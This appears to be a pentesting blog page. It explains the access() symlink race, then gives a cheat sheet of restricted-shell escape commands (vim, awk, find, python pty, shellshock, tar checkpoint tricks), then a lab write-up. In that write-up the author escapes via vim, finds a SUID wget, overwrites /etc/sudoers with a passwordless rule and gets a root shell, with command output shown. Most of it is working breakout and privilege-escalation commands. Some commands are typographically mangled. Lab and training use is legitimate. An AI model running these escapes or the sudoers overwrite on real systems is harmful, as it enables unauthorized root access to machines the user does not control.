Exploit access() with Symlinks

About access()

The access() system call checks the accessibility of the file specified in pathname based on a process’s real user and group IDs (and supplementary group IDs).

#include <unistd.h>
int access(const char *pathname, int mode);

If pathname is a symbolic link, access() dereferences it. If all of the permissions specified in mode are granted on pathname, then access() returns 0; if at least one of the requested per- missions is not available (or an error occurred), then access() returns –1.

The Issue

The time gap between a call to access() and a subsequent operation on a file means that there is no guarantee that the information returned by access() will still be true at the time of the later operation (no matter how brief the interval). This situation could lead to security holes in some application designs.


Suppose, for example, that we have a set-user-ID-root program that uses access() to check that a file is accessible to the real user ID of the program, and, if so, per- forms an operation on the file (e.g., open() or exec()).

The problem is that if the pathname given to access() is a symbolic link, and a malicious user manages to change the link so that it refers to a different file before the second step, then the set-user-ID-root may end up operating on a file for which the real user ID does not have permission. (This is an example of the type of time-of- check, time-of-use race condition described in Section 38.6.) For this reason, recommended practice is to avoid the use of access() altogether (see, for example, [Borisov, 2005]). In the example just given, we can achieve this by temporarily changing the effective (or file system) user ID of the set-user-ID process, attempting the desired operation (e.g., open() or exec()), and then checking the return value and errno to determine whether the operation failed because of a permissions problem.


I will update this section with a demo as soon as I am back at work.

Escape Jailed (S)HELL


Check what commands you can use


Check for piping and redirection operators


Check for available languages

find / -name perl* 2>/dev/null
find / -name python* 2>/dev/null
find / -name ruby* 2>/dev/null
find / -name lua* 2>/dev/null
find / -name php* 2>/dev/null
find / -name go* 2>/dev/null

No password sudo commands

sudo -l

Check for SUID binaries

find / -perm -u=s -type f 2>/dev/null

Check current (s)hell

echo $SHELL

List environmental variables


Common Escape Techniques

  • If “/” is allowed you can run /bin/sh or /bin/bash.
  • If you can run cp command you can copy the /bin/sh or /bin/bash
  • into your directory.
  • From ftp > !/bin/sh or !/bin/bash 4) From gdb > !/bin/sh or !/bin/bash
  • From more/man/less > !/bin/sh or !/bin/bash
  • Fromvim>!/bin/shor!/bin/bash
  • From rvim > :python import os; os.system(“/bin/bash ) 8) From scp > scp -S /path/yourscript x y:
  • From awk > awk ‘BEGIN {system(“/bin/sh or /bin/bash”)}’
  • From find > find / -name test -exec /bin/sh or /bin/bash \;

Command Line Escapes

python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
awk ‘BEGIN {system(“/bin/sh”)}’
find / -name *.log –exec /bin/sh \;

Language Interactive Shell Escapes

Perl Shell

exec "/bin/sh";

Ruby Shell

exec "/bin/sh"

Lua Shell


PHP Shell


Except Shell

except spawn sh

While Using a Program


exec "/bin/sh"


# or
:set shell=/bin/bash:shell

Nmap Interactive








Advanced Techniques

  • From ssh > ssh username@IP – t “/bin/sh” or “/bin/bash”
  • From ssh2 > ssh username@IP -t “bash –noprofile”
  • From ssh3 > ssh username@IP -t “() { :; }; /bin/bash” (shellshock)
  • From ssh4 > ssh -o ProxyCommand=”sh -c /tmp/yourfile.sh” (SUID)
  • From git > git help status > you can run it then !/bin/bash
  • From pico > pico -s “/bin/bash” then you can write /bin/bash and then CTRL + T
  • From zip > zip /tmp/test.zip /tmp/test -T –unzip-command=”sh -c /bin/bash”
  • From tar > tar cf /dev/null testfile –checkpoint=1 –checkpoint- action=exec=/bin/bash

Some commands referenced from: 44592-linux-restricted-shell-bypass-guide.pdf

Restricted Shell linux -privilege-escalation | https://attackdefense.com Level: Hard

The Challenge

It is very common on multi-user systems to restrict the functionality available to individual users. A common way to do this is by using a custom built restricted shell. This shell only allows access to a certain set of commands required by the user. The rest are unavailable. In this challenge, you have to breakout of the restricted shell and figure out how to become the root user! This lab, like any good linux privilege escalation adventure has a bit of everything – setuid binaries, permissions and overridable configurations. Enjoy!

Your mission is to get a root shell on the box! 

Challenge Accepted

To be honest this challenge is labelled hard but I found it wasy easier than the easy ones, I put it down to experience since I often priv. esc. through configuration issues and not exploits, I can count on two hands the times I have needed to rely on an exploit, look deep enough and you WILL find a configuration issue, honestly, truth is very few people can’t set up systems as they should be. In fact, during my time auditing I met one engineer who literally did everything right, to the point he schooled everyone on MS internals and config.

The Solution

I went straight for one of the first things I try, vim escape. Just type vim, then hit esc button then type the following…

:set shell=/bin/bash

Easy, now we are free. Time to see what is next, again turn to next thing I try, find SETUID files.

student@attackdefense:/usr/bin$ find / -perm -u=s -type f 2>/dev/null

One should stand out right away, wget! Well we know we can select -o to write the file and since we are root that can be anywhere. So what is the plan? Easy, make sudoers file locally that allows sudo all with no password, my favourite trick, then start local http server and wget running as root to write file to /etc/sudoers.

student@attackdefense:/$ echo "student  ALL=(ALL) NOPASSWD: ALL" > /tmp/sudoers
student@attackdefense:/$ python -m SimpleHTTPServer 8080 &
student@attackdefense:/$ # We use & to background http server so we can wget in same terminal
student@attackdefense:/tmp$ wget -O /etc/sudoers
--2019-03-26 01:23:32--
Connecting to connected.
HTTP request sent, awaiting response... - - [26/Mar/2019 01:23:32] "GET /tmp/sudoers HTTP/1.1" 200 -
200 OK
Length: 33 [application/octet-stream]
Saving to: '/etc/sudoers'

/etc/sudoers                                  100%[=================================================================================================>]      33  --.-KB/s    in 0s

2019-03-26 01:23:32 (9.81 MB/s) - '/etc/sudoers' saved [33/33]

Now for the final act…

student@attackdefense:/tmp$ sudo /bin/bash
root@attackdefense:/tmp# id
uid=0(root) gid=0(root) groups=0(root)